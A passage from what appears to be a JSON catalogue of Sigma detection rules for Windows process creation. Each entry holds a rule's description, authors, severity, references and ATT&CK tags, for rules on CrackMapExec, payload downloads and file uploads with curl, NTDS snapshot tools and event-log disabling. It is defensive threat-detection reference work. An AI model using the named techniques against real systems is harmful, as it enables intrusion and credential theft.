process. Can be used to evaded defense mechanism.", - "meta": { - "author": "omkar72", - "creation_date": "2020/10/25", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_conhost.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_conhost.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "7dc2dedd-7603-461a-bc13-15803d132355", - "value": "Conhost Parent Process Executions" - }, - { - "description": "ForceV1 asks for information directly from the kernel space. Conhost connects to the console application", - "meta": { - "author": "frack113", - "creation_date": "2022/04/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_conhost_option.yml", - "level": "informational", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://cybercryptosec.medium.com/covid-19-cyber-infection-c615ead7c29", - "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_conhost_option.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "3037d961-21e9-4732-b27a-637bcc7bf539", - "value": "Suspicious Conhost Legacy Option" - }, - { - "description": "Detects a suspicious process pattern found in CVE-2021-40444 exploitation", - "meta": { - "author": "@neonprimetime, Florian Roth", - "creation_date": "2021/09/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_control_cve_2021_40444.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_control_cve_2021_40444.yml", - "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444", - "https://www.joesandbox.com/analysis/476188/1/iochtml", - "https://twitter.com/neonprimetime/status/1435584010202255375" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "894397c6-da03-425c-a589-3d09e7d1f750", - "value": "CVE-2021-40444 Process Pattern" - }, - { - "description": "Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/04/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_control_dll_load.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_control_dll_load.yml", - "https://twitter.com/rikvduijn/status/853251879320662017" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "uuid": "d7eb979b-c2b5-4a6f-a3a7-c87ce6763819", - "value": "Suspicious Control Panel DLL Load" - }, - { - "description": "Detects a suspicious copy command to or from an Admin share or remote", - "meta": { - "author": "Florian Roth, oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, Nasreddine Bencherchali", - "creation_date": "2019/12/30", - "falsepositive": [ - "Administrative scripts" - ], - "filename": "proc_creation_win_susp_copy_lateral_movement.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", - "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", - "https://twitter.com/SBousseaden/status/1211636381086339073", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_lateral_movement.yml", - "https://www.elastic.co/guide/en/security/current/remote-file-copy-to-a-hidden-share.html" - ], - "tags": [ - "attack.lateral_movement", - "attack.collection", - "attack.exfiltration", - "attack.t1039", - "attack.t1048", - "attack.t1021.002" - ] - }, - "uuid": "855bc8b5-2ae8-402e-a9ed-b889e6df1900", - "value": "Copy from Admin Share" - }, - { - "description": "Detects a suspicious copy operation that tries to copy a program from a system (System32 or SysWOW64) directory to another on disk.\nOften used to move LOLBINs such as 'certutil' or 'desktopimgdownldr' to a different location with a different name in order to bypass detections based on locations\n", - "meta": { - "author": "Florian Roth, Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (update)", - "creation_date": "2020/07/03", - "falsepositive": [ - "Depend on scripts and administrative tools used in the monitored environment (For example an admin scripts like https://www.itexperience.net/sccm-batch-files-and-32-bits-processes-on-64-bits-os/)", - "When cmd.exe and xcopy.exe are called directly", - "When the command contains the keywords but not in the correct order" - ], - "filename": "proc_creation_win_susp_copy_system32.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system32.yml", - "https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120", - "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003" - ] - }, - "uuid": "fff9d2b7-e11c-4a69-93d3-40ef66189767", - "value": "Suspicious Copy From or To System32" - }, - { - "description": "Detects suspicious command lines used in Covenant luanchers", - "meta": { - "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2020/06/04", - "falsepositive": "No established falsepositives", - "filename": "proc_creation_win_susp_covenant.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://posts.specterops.io/covenant-v0-5-eee0507b85ba", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_covenant.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1059.001", - "attack.t1564.003" - ] - }, - "uuid": "c260b6db-48ba-4b4a-a76f-2f67644e99d2", - "value": "Covenant Launcher Indicators" - }, - { - "description": "Detect various execution methods of the CrackMapExec pentesting framework", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2020/05/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_crackmapexec_execution.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_execution.yml", - "https://github.com/byt3bl33d3r/CrackMapExec" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.t1053", - "attack.t1059.003", - "attack.t1059.001", - "attack.s0106" - ] - }, - "uuid": "058f4380-962d-40a5-afce-50207d36d7e2", - "value": "CrackMapExec Command Execution" - }, - { - "description": "This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/25", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_crackmapexec_flags.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://mpgn.gitbook.io/crackmapexec/smb-protocol/authentication/checking-credentials-local", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_flags.yml", - "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=mssql-mimikatz", - "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-pe_inject", - "https://www.mandiant.com/resources/telegram-malware-iranian-espionage" - ], - "tags": "No established tags" - }, - "uuid": "42a993dd-bb3e-48c8-b372-4d6684c4106c", - "value": "CrackMapExec Command Line Flags" - }, - { - "description": "The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule.", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2020/05/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_crackmapexec_powershell_obfuscation.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/byt3bl33d3r/CrackMapExec/blob/0a49f75347b625e81ee6aa8c33d3970b5515ea9e/cme/helpers/powershell.py#L242", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_powershell_obfuscation.yml", - "https://github.com/byt3bl33d3r/CrackMapExec" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1027.005" - ] - }, - "uuid": "6f8b3439-a203-45dc-a88b-abf57ea15ccf", - "value": "CrackMapExec PowerShell Obfuscation" - }, - { - "description": "Detects a suspicious parent of csc.exe, which could by a sign of payload delivery", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/02/11", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_csc.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csc.yml", - "https://twitter.com/SBousseaden/status/1094924091256176641" - ], - "tags": [ - "attack.execution", - "attack.t1059.005", - "attack.t1059.007", - "attack.defense_evasion", - "attack.t1218.005", - "attack.t1027.004" - ] - }, - "uuid": "b730a276-6b63-41b8-bcf8-55930c8fc6ee", - "value": "Suspicious Parent of Csc.exe" - }, - { - "description": "Adversaries may abuse Visual Basic (VB) for execution", - "meta": { - "author": "frack113", - "creation_date": "2022/01/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_cscript_vbs.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cscript_vbs.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.005/T1059.005.md" - ], - "tags": [ - "attack.execution", - "attack.t1059.005" - ] - }, - "uuid": "23250293-eed5-4c39-b57a-841c8933a57d", - "value": "Cscript Visual Basic Script Execution" - }, - { - "description": "Detects a suspicious execution of csc.exe, which uses a source in a suspicious folder (e.g. AppData)", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/08/24", - "falsepositive": [ - "Legitimate software from program files - https://twitter.com/gN3mes1s/status/1206874118282448897", - "Legitimate Microsoft software - https://twitter.com/gabriele_pippi/status/1206907900268072962" - ], - "filename": "proc_creation_win_susp_csc_folder.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", - "https://securityboulevard.com/2019/08/agent-tesla-evading-edr-by-removing-api-hooks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csc_folder.yml", - "https://twitter.com/gN3mes1s/status/1206874118282448897", - "https://app.any.run/tasks/c6993447-d1d8-414e-b856-675325e5aa09/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.004" - ] - }, - "uuid": "dcaa3f04-70c3-427a-80b4-b870d73c94c4", - "value": "Suspicious Csc.exe Source File Folder" - }, - { - "description": "Detects the use of the lesser known remote execution tool named CsExec (a PsExec alternative)", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/08/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_csexec.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csexec.yml", - "https://github.com/malcomvetter/CSExec", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" - ], - "tags": [ - "attack.resource_development", - "attack.t1587.001", - "attack.execution", - "attack.t1569.002" - ] - }, - "uuid": "d08a2711-ee8b-4323-bdec-b7d85e892b31", - "value": "CsExec Remote Execution Tool Usage" - }, - { - "description": "Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft “Roslyn” Community Technology Preview was named 'rcsi.exe'", - "meta": { - "author": "Konstantin Grishchenko, oscd.community", - "creation_date": "2020/10/17", - "falsepositive": [ - "Legitimate usage by software developers" - ], - "filename": "proc_creation_win_susp_csi.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", - "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", - "https://twitter.com/Z3Jpa29z/status/1317545798981324801", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csi.yml", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Rcsi/" - ], - "tags": [ - "attack.execution", - "attack.t1072", - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "40b95d31-1afc-469e-8d34-9a3a667d058e", - "value": "Suspicious Csi.exe Usage" - }, - { - "description": "Detects a suspicious curl process start on Windows and outputs the requested document to a local file", - "meta": { - "author": "Florian Roth, Nasreddine Bencherchali (updated)", - "creation_date": "2020/07/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_curl_download.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_download.yml", - "https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/", - "https://github.com/pr0xylife/Qakbot/blob/4f0795d79dabee5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt", - "https://twitter.com/max_mal_/status/1542461200797163522", - "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "e218595b-bbe7-4ee5-8a96-f32a24ad3468", - "value": "Suspicious Curl Usage on Windows" - }, - { - "description": "Detects a suspicious curl process start the adds a file to a web request", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/07/03", - "falsepositive": [ - "Scripts created by developers and admins" - ], - "filename": "proc_creation_win_susp_curl_fileupload.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://curl.se/docs/manpage.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_fileupload.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", - "https://twitter.com/d1r4c/status/1279042657508081664", - "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567", - "attack.t1105" - ] - }, - "uuid": "00bca14a-df4e-4649-9054-3f2aa676bc04", - "value": "Suspicious Curl File Upload" - }, - { - "description": "Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later.", - "meta": { - "author": "Sreeman, Nasreddine Bencherchali", - "creation_date": "2020/01/13", - "falsepositive": [ - "Administrative scripts (installers)" - ], - "filename": "proc_creation_win_susp_curl_start_combo.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_start_combo.yml", - "https://medium.com/@reegun/curl-exe-is-the-new-rundll32-exe-lolbin-3f79c5f35983" - ], - "tags": [ - "attack.execution", - "attack.t1218", - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "21dd6d38-2b18-4453-9404-a0fe4a0cc288", - "value": "Curl Start Combination" - }, - { - "description": "Detects a suspicious curl process start on Windows with set useragent options", - "meta": { - "author": "frack113", - "creation_date": "2022/01/23", - "falsepositive": [ - "Scripts created by developers and admins", - "Administrative activity" - ], - "filename": "proc_creation_win_susp_curl_useragent.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#atomic-test-2---malicious-user-agents---cmd", - "https://curl.se/docs/manpage.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_useragent.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "3286d37a-00fd-41c2-a624-a672dcd34e60", - "value": "Suspicious Curl Change User Agents" - }, - { - "description": "Detects suspicious process injection using ZOHO's dctask64.exe", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/01/28", - "falsepositive": [ - "Unknown yet" - ], - "filename": "proc_creation_win_susp_dctask64_proc_inject.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/gN3mes1s/status/1222088214581825540", - "https://twitter.com/gN3mes1s/status/1222095963789111296", - "https://twitter.com/gN3mes1s/status/1222095371175911424", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dctask64_proc_inject.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055.001" - ] - }, - "uuid": "6345b048-8441-43a7-9bed-541133633d7a", - "value": "ZOHO Dctask64 Process Injection" - }, - { - "description": "Detects suspicious command line to remove and 'exe' or 'dll'", - "meta": { - "author": "frack113", - "creation_date": "2021/12/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_del.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_del.yml", - "https://www.joesandbox.com/analysis/509330/0/html#1044F3BDBE3BB6F734E357235F4D5898582D" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ] - }, - "uuid": "204b17ae-4007-471b-917b-b917b315c5db", - "value": "Suspicious Del in CommandLine" - }, - { - "description": "Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/07/03", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "filename": "proc_creation_win_susp_desktopimgdownldr.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_desktopimgdownldr.yml", - "https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/", - "https://twitter.com/SBousseaden/status/1278977301745741825" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "bb58aa4a-b80b-415a-a2c0-2f65a4c81009", - "value": "Suspicious Desktopimgdownldr Command" - }, - { - "description": "Detects a certain command line flag combination used by devinit.exe lolbin to download arbitrary MSI packages on a Windows system", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/11", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_devinit_lolbin.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/mrd0x/status/1460815932402679809", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_devinit_lolbin.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "90d50722-0483-4065-8e35-57efaadd354d", - "value": "DevInit Lolbin Download" - }, - { - "description": "The Devtoolslauncher.exe executes other binary", - "meta": { - "author": "Beyu Denis, oscd.community (rule), @_felamos (idea)", - "creation_date": "2019/10/12", - "falsepositive": [ - "Legitimate use of devtoolslauncher.exe by legitimate user" - ], - "filename": "proc_creation_win_susp_devtoolslauncher.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_devtoolslauncher.yml", - "https://twitter.com/_felamos/status/1179811992841797632", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devtoolslauncher/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "cc268ac1-42d9-40fd-9ed3-8c4e1a5b87e6", - "value": "Devtoolslauncher.exe Executes Specified Binary" - }, - { - "description": "Detects usage of the \"dir\" command that's part of windows batch/cmd to collect information about directories", - "meta": { - "author": "frack113", - "creation_date": "2021/12/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_dir.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dir.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1217" - ] - }, - "uuid": "7c9340a9-e2ee-4e43-94c5-c54ebbea1006", - "value": "Suspicious DIR Execution" - }, - { - "description": "Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.", - "meta": { - "author": "Victor Sergeev, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.", - "Legitimate administrator sets up autorun keys for legitimate reasons.", - "Discord" - ], - "filename": "proc_creation_win_susp_direct_asep_reg_keys_modification.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_direct_asep_reg_keys_modification.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "24357373-078f-44ed-9ac4-6d334a668a11", - "value": "Direct Autorun Keys Modification" - }, - { - "description": "Detects command that is used to disable or delete Windows eventlog via logman Windows utility", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/02/11", - "falsepositive": [ - "Legitimate deactivation by administrative staff", - "Installer tools that disable services, e.g. before log collection agent installation" - ], - "filename": "proc_creation_win_susp_disable_eventlog.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://ss64.com/nt/logman.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_eventlog.yml", - "https://twitter.com/0gtweet/status/1359039665232306183?s=21" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001", - "attack.t1070.001" - ] - }, - "uuid": "cd1f961e-0b96-436b-b7c6-38da4583ec00", - "value": "Disable or Delete Windows Eventlog" - }, - { - "description": "Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/06/19", - "falsepositive": [ - "Unknown, maybe some security software installer disables these features temporarily" - ], - "filename": "proc_creation_win_susp_disable_ie_features.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_ie_features.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "fb50eb7a-5ab1-43ae-bcc9-091818cb8424", - "value": "Disabled IE Security Features" - }, - { - "description": "Detects commands that indicate a Raccine removal from an end system. Raccine is a free ransomware protection tool.", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/01/21", - "falsepositive": [ - "Legitimate deinstallation by administrative staff" - ], - "filename": "proc_creation_win_susp_disable_raccine.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/Neo23x0/Raccine", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_raccine.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "a31eeaed-3fd5-478e-a8ba-e62c6b3f9ecc", - "value": "Raccine Uninstall" - }, - { - "description": "Detects using Diskshadow.exe to execute arbitrary code in text file", - "meta": { - "author": "Ivan Dyachkov, oscd.community", - "creation_date": "2020/10/07", - "falsepositive": [ - "False postitve can be if administrators use diskshadow tool in their infrastructure as a main backup tool with scripts." - ], - "filename": "proc_creation_win_susp_diskshadow.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_diskshadow.yml", - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration" - ], - "tags": [ - "attack.execution", - "attack.t1218" - ] - }, - "uuid": "0c2f8629-7129-4a8a-9897-7e0768f13ff2", - "value": "Execution via Diskshadow.exe" - }, - { - "description": "Detects the use of Ditsnap tool. Seems to be a tool for ransomware groups.", - "meta": { - "author": "Furkan Caliskan (@caliskanfurkan_)", - "creation_date": "2020/07/04", - "falsepositive": [ - "Legitimate admin usage" - ], - "filename": "proc_creation_win_susp_ditsnap.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2020/06/21/snatch-ransomware/", - "https://github.com/yosqueoy/ditsnap", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ditsnap.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.003" - ] - }, - "uuid": "d3b70aad-097e-409c-9df2-450f80dc476b", - "value": "DIT Snapshot Viewer Use" - }, - { - "description": "Detects a \"dllhost\" spawning with no commandline arguments which is a very rare thing to happen and could indicate process injection activity or malware mimicking similar system processes", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/27", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_susp_dllhost_no_cli.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dllhost_no_cli.yml", - "https://redcanary.com/blog/child-processes/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055" - ] - }, - "uuid": "e7888eb1-13b0-4616-bd99-4bc0c2b054b9", - "value": "Dllhost Process With No CommandLine" - }, - { - "description": "Execute C# code located in the consoleapp folder", - "meta": { - "author": "Beyu Denis, oscd.community", - "creation_date": "2019/10/26", - "falsepositive": [ - "Legitimate use of dnx.exe by legitimate user" - ], - "filename": "proc_creation_win_susp_dnx.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dnx.yml", - "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218", - "attack.t1027.004" - ] - }, - "uuid": "81ebd28b-9607-4478-bf06-974ed9d53ed7", - "value": "Application Whitelisting Bypass via Dnx.exe" - }, - { - "description": "Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns", - "meta": { - "author": "Florian Roth (rule), @blu3_team (idea)", - "creation_date": "2019/06/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_double_extension.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/blackorbird/status/1140519090961825792", - "https://blu3-team.blogspot.com/2019/06/misleading-extensions-xlsexe-docexe.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1566.001" - ] - }, - "uuid": "1cdd9a09-06c9-4769-99ff-626e2b3991b8", - "value": "Suspicious Double Extension" - }, - { - "description": "Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents", - "meta": { - "author": "Florian Roth, Nasreddine Bencherchali", - "creation_date": "2021/12/27", - "falsepositive": [ - "Scripts or tools that download attachments from these domains (OneNote, Outlook 365)" - ], - "filename": "proc_creation_win_susp_download_office_domain.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/an0n_r0/status/1474698356635193346?s=12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_download_office_domain.yml", - "https://twitter.com/mrd0x/status/1475085452784844803?s=12" - ], - "tags": "No established tags" - }, - "uuid": "00d49ed5-4491-4271-a8db-650a4ef6f8c1", - "value": "Suspicious Download from Office Domain" - }, - { - "description": "Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/12/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_dtrace_kernel_dump.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - 